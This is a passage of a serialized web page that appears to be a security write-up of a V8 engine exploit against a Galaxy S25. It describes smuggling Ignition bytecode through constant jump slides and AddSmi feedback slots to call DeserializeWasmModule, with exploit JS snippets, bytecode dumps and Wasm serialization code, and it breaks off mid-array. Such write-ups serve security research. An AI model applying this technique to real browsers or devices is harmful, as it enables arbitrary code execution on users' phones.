0xf",{"type":30,"value":16213},{"type":25,"tag":264,"props":145025,"children":145027},{"className":145026},[],[145028],{"type":30,"value":145029},"Jump +[2-15]",{"type":30,"value":145031},") to jump into the next constant.",{"type":25,"tag":26,"props":145033,"children":145034},{},[145035,145037,145043,145045,145051,145053,145059],{"type":30,"value":145036},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":25,"tag":264,"props":145038,"children":145040},{"className":145039},[],[145041],{"type":30,"value":145042},"StarX",{"type":30,"value":145044}," instructions, registers 16-121 resulted in two bytes ",{"type":25,"tag":264,"props":145046,"children":145048},{"className":145047},[],[145049],{"type":30,"value":145050},"Star rX",{"type":30,"value":145052}," instructions, and the next batch resulted in 4 byte ",{"type":25,"tag":264,"props":145054,"children":145056},{"className":145055},[],[145057],{"type":30,"value":145058},"Star.ExtraWide rX",{"type":30,"value":145060}," instructions.",{"type":25,"tag":26,"props":145062,"children":145063},{},[145064,145066,145072],{"type":30,"value":145065},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":25,"tag":264,"props":145067,"children":145069},{"className":145068},[],[145070],{"type":30,"value":145071},"0x8931111",{"type":30,"value":359},{"type":25,"tag":7764,"props":145074,"children":145076},{"code":145075,"language":44477,"meta":7,"className":44475,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[145077],{"type":25,"tag":264,"props":145078,"children":145079},{"__ignoreMap":7},[145080,145105,145129,145153,145177,145201,145225],{"type":25,"tag":271,"props":145081,"children":145082},{"class":13593,"line":13594},[145083,145087,145092,145096,145101],{"type":25,"tag":271,"props":145084,"children":145085},{"style":14289},[145086],{"type":30,"value":24912},{"type":25,"tag":271,"props":145088,"children":145089},{"style":13598},[145090],{"type":30,"value":145091}," a206",{"type":25,"tag":271,"props":145093,"children":145094},{"style":13603},[145095],{"type":30,"value":16155},{"type":25,"tag":271,"props":145097,"children":145098},{"style":16187},[145099],{"type":30,"value":145100}," 0x8931111",{"type":25,"tag":271,"props":145102,"children":145103},{"style":13625},[145104],{"type":30,"value":16165},{"type":25,"tag":271,"props":145106,"children":145107},{"class":13593,"line":11641},[145108,145112,145117,145121,145125],{"type":25,"tag":271,"props":145109,"children":145110},{"style":14289},[145111],{"type":30,"value":24912},{"type":25,"tag":271,"props":145113,"children":145114},{"style":13598},[145115],{"type":30,"value":145116}," a207",{"type":25,"tag":271,"props":145118,"children":145119},{"style":13603},[145120],{"type":30,"value":16155},{"type":25,"tag":271,"props":145122,"children":145123},{"style":16187},[145124],{"type":30,"value":145100},{"type":25,"tag":271,"props":145126,"children":145127},{"style":13625},[145128],{"type":30,"value":16165},{"type":25,"tag":271,"props":145130,"children":145131},{"class":13593,"line":14354},[145132,145136,145141,145145,145149],{"type":25,"tag":271,"props":145133,"children":145134},{"style":14289},[145135],{"type":30,"value":24912},{"type":25,"tag":271,"props":145137,"children":145138},{"style":13598},[145139],{"type":30,"value":145140}," a208",{"type":25,"tag":271,"props":145142,"children":145143},{"style":13603},[145144],{"type":30,"value":16155},{"type":25,"tag":271,"props":145146,"children":145147},{"style":16187},[145148],{"type":30,"value":145100},{"type":25,"tag":271,"props":145150,"children":145151},{"style":13625},[145152],{"type":30,"value":16165},{"type":25,"tag":271,"props":145154,"children":145155},{"class":13593,"line":14391},[145156,145160,145165,145169,145173],{"type":25,"tag":271,"props":145157,"children":145158},{"style":14289},[145159],{"type":30,"value":24912},{"type":25,"tag":271,"props":145161,"children":145162},{"style":13598},[145163],{"type":30,"value":145164}," a209",{"type":25,"tag":271,"props":145166,"children":145167},{"style":13603},[145168],{"type":30,"value":16155},{"type":25,"tag":271,"props":145170,"children":145171},{"style":16187},[145172],{"type":30,"value":145100},{"type":25,"tag":271,"props":145174,"children":145175},{"style":13625},[145176],{"type":30,"value":16165},{"type":25,"tag":271,"props":145178,"children":145179},{"class":13593,"line":14400},[145180,145184,145189,145193,145197],{"type":25,"tag":271,"props":145181,"children":145182},{"style":14289},[145183],{"type":30,"value":24912},{"type":25,"tag":271,"props":145185,"children":145186},{"style":13598},[145187],{"type":30,"value":145188}," a210",{"type":25,"tag":271,"props":145190,"children":145191},{"style":13603},[145192],{"type":30,"value":16155},{"type":25,"tag":271,"props":145194,"children":145195},{"style":16187},[145196],{"type":30,"value":145100},{"type":25,"tag":271,"props":145198,"children":145199},{"style":13625},[145200],{"type":30,"value":16165},{"type":25,"tag":271,"props":145202,"children":145203},{"class":13593,"line":16406},[145204,145208,145213,145217,145221],{"type":25,"tag":271,"props":145205,"children":145206},{"style":14289},[145207],{"type":30,"value":24912},{"type":25,"tag":271,"props":145209,"children":145210},{"style":13598},[145211],{"type":30,"value":145212}," a211",{"type":25,"tag":271,"props":145214,"children":145215},{"style":13603},[145216],{"type":30,"value":16155},{"type":25,"tag":271,"props":145218,"children":145219},{"style":16187},[145220],{"type":30,"value":145100},{"type":25,"tag":271,"props":145222,"children":145223},{"style":13625},[145224],{"type":30,"value":16165},{"type":25,"tag":271,"props":145226,"children":145227},{"class":13593,"line":16434},[145228,145232,145237,145241,145245],{"type":25,"tag":271,"props":145229,"children":145230},{"style":14289},[145231],{"type":30,"value":24912},{"type":25,"tag":271,"props":145233,"children":145234},{"style":13598},[145235],{"type":30,"value":145236}," a212",{"type":25,"tag":271,"props":145238,"children":145239},{"style":13603},[145240],{"type":30,"value":16155},{"type":25,"tag":271,"props":145242,"children":145243},{"style":16187},[145244],{"type":30,"value":145100},{"type":25,"tag":271,"props":145246,"children":145247},{"style":13625},[145248],{"type":30,"value":16165},{"type":25,"tag":26,"props":145250,"children":145251},{},[145252],{"type":30,"value":145253},"Those instructions result in:",{"type":25,"tag":7764,"props":145255,"children":145257},{"code":145256},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[145258],{"type":25,"tag":264,"props":145259,"children":145260},{"__ignoreMap":7},[145261],{"type":30,"value":145256},{"type":25,"tag":26,"props":145263,"children":145264},{},[145265,145267,145273,145275,145279],{"type":30,"value":145266},"(The offset of ",{"type":25,"tag":264,"props":145268,"children":145270},{"className":145269},[],[145271],{"type":30,"value":145272},"Jump",{"type":30,"value":145274}," instructions is added to the ",{"type":25,"tag":10281,"props":145276,"children":145277},{},[145278],{"type":30,"value":84205},{"type":30,"value":145280}," of the instruction.)",{"type":25,"tag":26,"props":145282,"children":145283},{},[145284,145286,145292],{"type":30,"value":145285},"Now, 3 out of the 6 bytes in a ",{"type":25,"tag":264,"props":145287,"children":145289},{"className":145288},[],[145290],{"type":30,"value":145291},"LdaSmi.ExtraWide",{"type":30,"value":145293}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":25,"tag":247,"props":145295,"children":145297},{"id":145296},"exploit-goal",[145298],{"type":30,"value":145299},"Exploit Goal",{"type":25,"tag":26,"props":145301,"children":145302},{},[145303,145305,145311,145312,145318],{"type":30,"value":145304},"Initially we considered using ",{"type":25,"tag":264,"props":145306,"children":145308},{"className":145307},[],[145309],{"type":30,"value":145310},"Star",{"type":30,"value":7621},{"type":25,"tag":264,"props":145313,"children":145315},{"className":145314},[],[145316],{"type":30,"value":145317},"Ldar",{"type":30,"value":145319}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":25,"tag":26,"props":145321,"children":145322},{},[145323,145325,145332],{"type":30,"value":145324},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":25,"tag":83,"props":145326,"children":145329},{"href":145327,"rel":145328},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[9066],[145330],{"type":30,"value":145331},"stack pivot and ROP",{"type":30,"value":145333},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":25,"tag":26,"props":145335,"children":145336},{},[145337],{"type":30,"value":145338},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":25,"tag":26,"props":145340,"children":145341},{},[145342],{"type":30,"value":145343},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":25,"tag":26,"props":145345,"children":145346},{},[145347,145349,145355,145357,145363,145365,145371],{"type":30,"value":145348},"At this point, we identified an interesting opcode: ",{"type":25,"tag":264,"props":145350,"children":145352},{"className":145351},[],[145353],{"type":30,"value":145354},"CallRuntime",{"type":30,"value":145356},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":25,"tag":264,"props":145358,"children":145360},{"className":145359},[],[145361],{"type":30,"value":145362},"--allow-natives-syntax",{"type":30,"value":145364}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":25,"tag":264,"props":145366,"children":145368},{"className":145367},[],[145369],{"type":30,"value":145370},"DeserializeWasmModule",{"type":30,"value":1860},{"type":25,"tag":26,"props":145373,"children":145374},{},[145375,145377,145384,145385,145390,145391,145397,145399,145406],{"type":30,"value":145376},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":25,"tag":83,"props":145378,"children":145381},{"href":145379,"rel":145380},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[9066],[145382],{"type":30,"value":145383},"JIT-compiled functions",{"type":30,"value":31653},{"type":25,"tag":264,"props":145386,"children":145388},{"className":145387},[],[145389],{"type":30,"value":145370},{"type":30,"value":7621},{"type":25,"tag":264,"props":145392,"children":145394},{"className":145393},[],[145395],{"type":30,"value":145396},"SerializeWasmModule",{"type":30,"value":145398}," themselves are only used from test functions, and indeed have been ",{"type":25,"tag":83,"props":145400,"children":145403},{"href":145401,"rel":145402},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[9066],[145404],{"type":30,"value":145405},"removed",{"type":30,"value":145407}," from recent production V8 builds due to how abusable this functionality is.",{"type":25,"tag":26,"props":145409,"children":145410},{},[145411,145413,145419,145421,145427,145429,145434,145436,145442,145444,145449,145450,145455,145456,145461,145463,145469,145471,145475],{"type":30,"value":145412},"However, calling this opcode represented a significant challenge:\n",{"type":25,"tag":264,"props":145414,"children":145416},{"className":145415},[],[145417],{"type":30,"value":145418},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":30,"value":145420},"\nWhere ",{"type":25,"tag":264,"props":145422,"children":145424},{"className":145423},[],[145425],{"type":30,"value":145426},"func-id",{"type":30,"value":145428}," is a 2-byte function ID, ",{"type":25,"tag":264,"props":145430,"children":145432},{"className":145431},[],[145433],{"type":30,"value":51338},{"type":30,"value":145435}," is the index of the last register passed and ",{"type":25,"tag":264,"props":145437,"children":145439},{"className":145438},[],[145440],{"type":30,"value":145441},"argc",{"type":30,"value":145443}," is the number of arguments passed (e.g. passing ",{"type":25,"tag":264,"props":145445,"children":145447},{"className":145446},[],[145448],{"type":30,"value":57496},{"type":30,"value":44},{"type":25,"tag":264,"props":145451,"children":145453},{"className":145452},[],[145454],{"type":30,"value":57639},{"type":30,"value":12218},{"type":25,"tag":264,"props":145457,"children":145459},{"className":145458},[],[145460],{"type":30,"value":57622},{"type":30,"value":145462}," would be encoded as ",{"type":25,"tag":264,"props":145464,"children":145466},{"className":145465},[],[145467],{"type":30,"value":145468},"\u003Cr2> \u003C3>",{"type":30,"value":145470},").\nThis requires ",{"type":25,"tag":10281,"props":145472,"children":145473},{},[145474],{"type":30,"value":31231},{"type":30,"value":145476}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":25,"tag":247,"props":145478,"children":145480},{"id":145479},"better-bytecode-control",[145481],{"type":30,"value":145482},"Better Bytecode Control",{"type":25,"tag":26,"props":145484,"children":145485},{},[145486,145488,145495,145497,145503],{"type":30,"value":145487},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":25,"tag":83,"props":145489,"children":145492},{"href":145490,"rel":145491},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[9066],[145493],{"type":30,"value":145494},"feedback vector slot",{"type":30,"value":145496},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":25,"tag":264,"props":145498,"children":145500},{"className":145499},[],[145501],{"type":30,"value":145502},"AddSmi",{"type":30,"value":145504}," instruction, it represents the number of operations performed on the target value so far.",{"type":25,"tag":26,"props":145506,"children":145507},{},[145508],{"type":30,"value":145509},"For example, we can look at the below Ignition disassembly:",{"type":25,"tag":7764,"props":145511,"children":145513},{"code":145512},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[145514],{"type":25,"tag":264,"props":145515,"children":145516},{"__ignoreMap":7},[145517],{"type":30,"value":145512},{"type":25,"tag":26,"props":145519,"children":145520},{},[145521,145523,145529],{"type":30,"value":145522},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":25,"tag":264,"props":145524,"children":145526},{"className":145525},[],[145527],{"type":30,"value":145528},"AddSmi.ExtraWide",{"type":30,"value":145530},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":25,"tag":26,"props":145532,"children":145533},{},[145534],{"type":30,"value":145535},"Eventually, we can reach a stage like this:",{"type":25,"tag":7764,"props":145537,"children":145539},{"code":145538},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[145540],{"type":25,"tag":264,"props":145541,"children":145542},{"__ignoreMap":7},[145543],{"type":30,"value":145538},{"type":25,"tag":26,"props":145545,"children":145546},{},[145547],{"type":30,"value":145548},"If you skip the first two bytes, you have",{"type":25,"tag":108,"props":145550,"children":145551},{},[145552,145583],{"type":25,"tag":112,"props":145553,"children":145554},{},[145555,145560,145562,145567,145569,145575,145577],{"type":25,"tag":264,"props":145556,"children":145558},{"className":145557},[],[145559],{"type":30,"value":145354},{"type":30,"value":145561}," (0x6c) to ",{"type":25,"tag":264,"props":145563,"children":145565},{"className":145564},[],[145566],{"type":30,"value":145370},{"type":30,"value":145568}," (0x0266) starting from register ",{"type":25,"tag":264,"props":145570,"children":145572},{"className":145571},[],[145573],{"type":30,"value":145574},"a2",{"type":30,"value":145576}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":25,"tag":264,"props":145578,"children":145580},{"className":145579},[],[145581],{"type":30,"value":145582},"DeserializeWasmModule(a2, a1)",{"type":25,"tag":112,"props":145584,"children":145585},{},[145586],{"type":30,"value":145587},"a Jump instruction",{"type":25,"tag":247,"props":145589,"children":145591},{"id":145590},"returning-back-to-js",[145592],{"type":30,"value":145593},"Returning Back to JS",{"type":25,"tag":26,"props":145595,"children":145596},{},[145597,145599,145605],{"type":30,"value":145598},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":25,"tag":264,"props":145600,"children":145602},{"className":145601},[],[145603],{"type":30,"value":145604},"yield",{"type":30,"value":145606}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":25,"tag":26,"props":145608,"children":145609},{},[145610],{"type":30,"value":145611},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":25,"tag":7764,"props":145613,"children":145615},{"code":145614,"language":44477,"meta":7,"className":44475,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[145616],{"type":25,"tag":264,"props":145617,"children":145618},{"__ignoreMap":7},[145619,145630,145678,145699,145715,145738,145766,145783],{"type":25,"tag":271,"props":145620,"children":145621},{"class":13593,"line":13594},[145622,145626],{"type":25,"tag":271,"props":145623,"children":145624},{"style":16171},[145625],{"type":30,"value":61447},{"type":25,"tag":271,"props":145627,"children":145628},{"style":13625},[145629],{"type":30,"value":16431},{"type":25,"tag":271,"props":145631,"children":145632},{"class":13593,"line":11641},[145633,145638,145642,145647,145651,145656,145660,145665,145669,145673],{"type":25,"tag":271,"props":145634,"children":145635},{"style":13598},[145636],{"type":30,"value":145637},"  $",{"type":25,"tag":271,"props":145639,"children":145640},{"style":13625},[145641],{"type":30,"value":947},{"type":25,"tag":271,"props":145643,"children":145644},{"style":17388},[145645],{"type":30,"value":145646},"'a1 + 0xa931111;'",{"type":25,"tag":271,"props":145648,"children":145649},{"style":13625},[145650],{"type":30,"value":1860},{"type":25,"tag":271,"props":145652,"children":145653},{"style":13620},[145654],{"type":30,"value":145655},"repeat",{"type":25,"tag":271,"props":145657,"children":145658},{"style":13625},[145659],{"type":30,"value":394},{"type":25,"tag":271,"props":145661,"children":145662},{"style":16187},[145663],{"type":30,"value":145664},"0x059302",{"type":25,"tag":271,"props":145666,"children":145667},{"style":13603},[145668],{"type":30,"value":64371},{"type":25,"tag":271,"props":145670,"children":145671},{"style":16187},[145672],{"type":30,"value":17654},{"type":25,"tag":271,"props":145674,"children":145675},{"style":13625},[145676],{"type":30,"value":145677},")}\n",{"type":25,"tag":271,"props":145679,"children":145680},{"class":13593,"line":14354},[145681,145686,145690,145695],{"type":25,"tag":271,"props":145682,"children":145683},{"style":13598},[145684],{"type":30,"value":145685},"  a1",{"type":25,"tag":271,"props":145687,"children":145688},{"style":13603},[145689],{"type":30,"value":22025},{"type":25,"tag":271,"props":145691,"children":145692},{"style":16187},[145693],{"type":30,"value":145694}," 0x0402666c",{"type":25,"tag":271,"props":145696,"children":145697},{"style":13625},[145698],{"type":30,"value":16165},{"type":25,"tag":271,"props":145700,"children":145701},{"class":13593,"line":14391},[145702,145706,145711],{"type":25,"tag":271,"props":145703,"children":145704},{"style":16171},[145705],{"type":30,"value":48313},{"type":25,"tag":271,"props":145707,"children":145708},{"style":16187},[145709],{"type":30,"value":145710}," 0x393e91a",{"type":25,"tag":271,"props":145712,"children":145713},{"style":13625},[145714],{"type":30,"value":16165},{"type":25,"tag":271,"props":145716,"children":145717},{"class":13593,"line":14400},[145718,145722,145726,145730,145734],{"type":25,"tag":271,"props":145719,"children":145720},{"style":13625},[145721],{"type":30,"value":59989},{"type":25,"tag":271,"props":145723,"children":145724},{"style":16171},[145725],{"type":30,"value":61527},{"type":25,"tag":271,"props":145727,"children":145728},{"style":13625},[145729],{"type":30,"value":16213},{"type":25,"tag":271,"props":145731,"children":145732},{"style":13598},[145733],{"type":30,"value":64570},{"type":25,"tag":271,"props":145735,"children":145736},{"style":13625},[145737],{"type":30,"value":27925},{"type":25,"tag":271,"props":145739,"children":145740},{"class":13593,"line":16406},[145741,145745,145749,145753,145757,145762],{"type":25,"tag":271,"props":145742,"children":145743},{"style":13598},[145744],{"type":30,"value":115038},{"type":25,"tag":271,"props":145746,"children":145747},{"style":13625},[145748],{"type":30,"value":1860},{"type":25,"tag":271,"props":145750,"children":145751},{"style":13620},[145752],{"type":30,"value":115047},{"type":25,"tag":271,"props":145754,"children":145755},{"style":13625},[145756],{"type":30,"value":394},{"type":25,"tag":271,"props":145758,"children":145759},{"style":17388},[145760],{"type":30,"value":145761},"\"foo\"",{"type":25,"tag":271,"props":145763,"children":145764},{"style":13625},[145765],{"type":30,"value":13665},{"type":25,"tag":271,"props":145767,"children":145768},{"class":13593,"line":16434},[145769,145774,145779],{"type":25,"tag":271,"props":145770,"children":145771},{"style":16171},[145772],{"type":30,"value":145773},"  yield",{"type":25,"tag":271,"props":145775,"children":145776},{"style":13598},[145777],{"type":30,"value":145778}," a16",{"type":25,"tag":271,"props":145780,"children":145781},{"style":13625},[145782],{"type":30,"value":16165},{"type":25,"tag":271,"props":145784,"children":145785},{"class":13593,"line":16447},[145786],{"type":25,"tag":271,"props":145787,"children":145788},{"style":13625},[145789],{"type":30,"value":17058},{"type":25,"tag":26,"props":145791,"children":145792},{},[145793,145795],{"type":30,"value":145794},"Starting from the final ",{"type":25,"tag":264,"props":145796,"children":145798},{"className":145797},[],[145799],{"type":30,"value":145502},{"type":25,"tag":7764,"props":145801,"children":145803},{"code":145802}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[145804],{"type":25,"tag":264,"props":145805,"children":145806},{"__ignoreMap":7},[145807],{"type":30,"value":145802},{"type":25,"tag":26,"props":145809,"children":145810},{},[145811,145813,145818,145820,145826],{"type":30,"value":145812},"The smuggled jump in ",{"type":25,"tag":264,"props":145814,"children":145816},{"className":145815},[],[145817],{"type":30,"value":145502},{"type":30,"value":145819}," will redirect us to ",{"type":25,"tag":264,"props":145821,"children":145823},{"className":145822},[],[145824],{"type":30,"value":145825},"1a e9 93 03",{"type":30,"value":145827},", which results in:",{"type":25,"tag":108,"props":145829,"children":145830},{},[145831,145842],{"type":25,"tag":112,"props":145832,"children":145833},{},[145834,145840],{"type":25,"tag":264,"props":145835,"children":145837},{"className":145836},[],[145838],{"type":30,"value":145839},"Star r16",{"type":30,"value":145841}," (store accumulator to r16)",{"type":25,"tag":112,"props":145843,"children":145844},{},[145845,145850],{"type":25,"tag":264,"props":145846,"children":145848},{"className":145847},[],[145849],{"type":30,"value":145272},{"type":30,"value":145851}," past the throw into the catch relevant code",{"type":25,"tag":26,"props":145853,"children":145854},{},[145855,145857,145863],{"type":30,"value":145856},"This will bring us nicely to the final ",{"type":25,"tag":264,"props":145858,"children":145860},{"className":145859},[],[145861],{"type":30,"value":145862},"yield a16",{"type":30,"value":145864},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":25,"tag":247,"props":145866,"children":145868},{"id":145867},"executing-shellcode",[145869],{"type":30,"value":145870},"Executing Shellcode",{"type":25,"tag":26,"props":145872,"children":145873},{},[145874],{"type":30,"value":145875},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":25,"tag":7764,"props":145877,"children":145879},{"code":145878,"language":48727,"meta":7,"className":48725,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[145880],{"type":25,"tag":264,"props":145881,"children":145882},{"__ignoreMap":7},[145883,145913,146140,146208,146215,146260,146306,146346,146353,146377,146414,146450],{"type":25,"tag":271,"props":145884,"children":145885},{"class":13593,"line":13594},[145886,145890,145895,145899,145903,145908],{"type":25,"tag":271,"props":145887,"children":145888},{"style":14289},[145889],{"type":30,"value":48158},{"type":25,"tag":271,"props":145891,"children":145892},{"style":13598},[145893],{"type":30,"value":145894}," wasm_code",{"type":25,"tag":271,"props":145896,"children":145897},{"style":13603},[145898],{"type":30,"value":16155},{"type":25,"tag":271,"props":145900,"children":145901},{"style":14289},[145902],{"type":30,"value":45045},{"type":25,"tag":271,"props":145904,"children":145905},{"style":13620},[145906],{"type":30,"value":145907}," Uint8Array",{"type":25,"tag":271,"props":145909,"children":145910},{"style":13625},[145911],{"type":30,"value":145912},"([\n",{"type":25,"tag":271,"props":145914,"children":145915},{"class":13593,"line":11641},[145916,145921,145925,145930,145934,145939,145943,145948,145952,145956,145960,145964,145968,145972,145976,145980,145984,145988,145992,145996,146000,146004,146008,146013,146017,146021,146025,146029,146033,146037,146041,146045,146049,146053,146057,146061,146065,146069,146073,146077,146081,146085,146089,146093,146097,146101,146105,146110,146114,146119,146123,146128,146132,146136],{"type":25,"tag":271,"props":145917,"children":145918},{"style":16187},[145919],{"type":30,"value":145920},"  0",{"type":25,"tag":271,"props":145922,"children":145923},{"style":13625},[145924],{"type":30,"value":44},{"type":25,"tag":271,"props":145926,"children":145927},{"style":16187},[145928],{"type":30,"value":145929},"97",{"type":25,"tag":271,"props":145931,"children":145932},{"style":13625},[145933],{"type":30,"value":44},{"type":25,"tag":271,"props":145935,"children":145936},{"style":16187},[145937],{"type":30,"value":145938},"115",{"type":25,"tag":271,"props":145940,"children":145941},{"style":13625},[145942],{"type":30,"value":44},{"type":25,"tag":271,"props":145944,"children":145945},{"style":16187},[145946],{"type":30,"value":145947},"109",{"type":25,"tag":271,"props":145949,"children":145950},{"style":13625},[145951],{"type":30,"value":44},{"type":25,"tag":271,"props":145953,"children":145954},{"style":16187},[145955],{"type":30,"value":968},{"type":25,"tag":271,"props":145957,"children":145958},{"style":13625},[145959],{"type":30,"value":44},{"type":25,"tag":271,"props":145961,"children":145962},{"style":16187},[145963],{"type":30,"value":953},{"type":25,"tag":271,"props":145965,"children":145966},{"style":13625},[145967],{"type":30,"value":44},{"type":25,"tag":271,"props":145969,"children":145970},{"style":16187},[145971],{"type":30,"value":953},{"type":25,"tag":271,"props":145973,"children":145974},{"style":13625},[145975],{"type":30,"value":44},{"type":25,"tag":271,"props":145977,"children":145978},{"style":16187},[145979],{"type":30,"value":953},{"type":25,"tag":271,"props":145981,"children":145982},{"style":13625},[145983],{"type":30,"value":44},{"type":25,"tag":271,"props":145985,"children":145986},{"style":16187},[145987],{"type":30,"value":968},{"type":25,"tag":271,"props":145989,"children":145990},{"style":13625},[145991],{"type":30,"value":44},{"type":25,"tag":271,"props":145993,"children":145994},{"style":16187},[145995],{"type":30,"value":30650},{"type":25,"tag":271,"props":145997,"children":145998},{"style":13625},[145999],{"type":30,"value":44},{"type":25,"tag":271,"props":146001,"children":146002},{"style":16187},[146003],{"type":30,"value":968},{"type":25,"tag":271,"props":146005,"children":146006},{"style":13625},[146007],{"type":30,"value":44},{"type":25,"tag":271,"props":146009,"children":146010},{"style":16187},[146011],{"type":30,"value":146012},"96",{"type":25,"tag":271,"props":146014,"children":146015},{"style":13625},[146016],{"type":30,"value":44},{"type":25,"tag":271,"props":146018,"children":146019},{"style":16187},[146020],{"type":30,"value":953},{"type":25,"tag":271,"props":146022,"children":146023},{"style":13625},[146024],{"type":30,"value":44},{"type":25,"tag":271,"props":146026,"children":146027},{"style":16187},[146028],{"type":30,"value":953},{"type":25,"tag":271,"props":146030,"children":146031},{"style":13625},[146032],{"type":30,"value":44},{"type":25,"tag":271,"props":146034,"children":146035},{"style":16187},[146036],{"type":30,"value":7711},{"type":25,"tag":271,"props":146038,"children":146039},{"style":13625},[146040],{"type":30,"value":44},{"type":25,"tag":271,"props":146042,"children":146043},{"style":16187},[146044],{"type":30,"value":1326},{"type":25,"tag":271,"props":146046,"children":146047},{"style":13625},[146048],{"type":30,"value":44},{"type":25,"tag":271,"props":146050,"children":146051},{"style":16187},[146052],{"type":30,"value":968},{"type":25,"tag":271,"props":146054,"children":146055},{"style":13625},[146056],{"type":30,"value":44},{"type":25,"tag":271,"props":146058,"children":146059},{"style":16187},[146060],{"type":30,"value":953},{"type":25,"tag":271,"props":146062,"children":146063},{"style":13625},[146064],{"type":30,"value":44},{"type":25,"tag":271,"props":146066,"children":146067},{"style":16187},[146068],{"type":30,"value":67787},{"type":25,"tag":271,"props":146070,"children":146071},{"style":13625},[146072],{"type":30,"value":44},{"type":25,"tag":271,"props":146074,"children":146075},{"style":16187},[146076],{"type":30,"value":69001},{"type":25,"tag":271,"props":146078,"children":146079},{"style":13625},[146080],{"type":30,"value":44},{"type":25,"tag":271,"props":146082,"children":146083},{"style":16187},[146084],{"type":30,"value":968},{"type":25,"tag":271,"props":146086,"children":146087},{"style":13625},[146088],{"type":30,"value":44},{"type":25,"tag":271,"props":146090,"children":146091},{"style":16187},[146092],{"type":30,"value":31231},{"type":25,"tag":271,"props":146094,"children":146095},{"style":13625},[146096],{"type":30,"value":44},{"type":25,"tag":271,"props":146098,"children":146099},{"style":16187},[146100],{"type":30,"value":145938},{"type":25,"tag":271,"props":146102,"children":146103},{"style":13625},[146104],{"type":30,"value":44},{"type":25,"tag":271,"props":146106,"children":146107},{"style":16187},[146108],{"type":30,"value":146109},"104",{"type":25,"tag":271,"props":146111,"children":146112},{"style":13625},[146113],{"type":30,"value":44},{"type":25,"tag":271,"props":146115,"children":146116},{"style":16187},[146117],{"type":30,"value":146118},"101",{"type":25,"tag":271,"props":146120,"children":146121},{"style":13625},[146122],{"type":30,"value":44},{"type":25,"tag":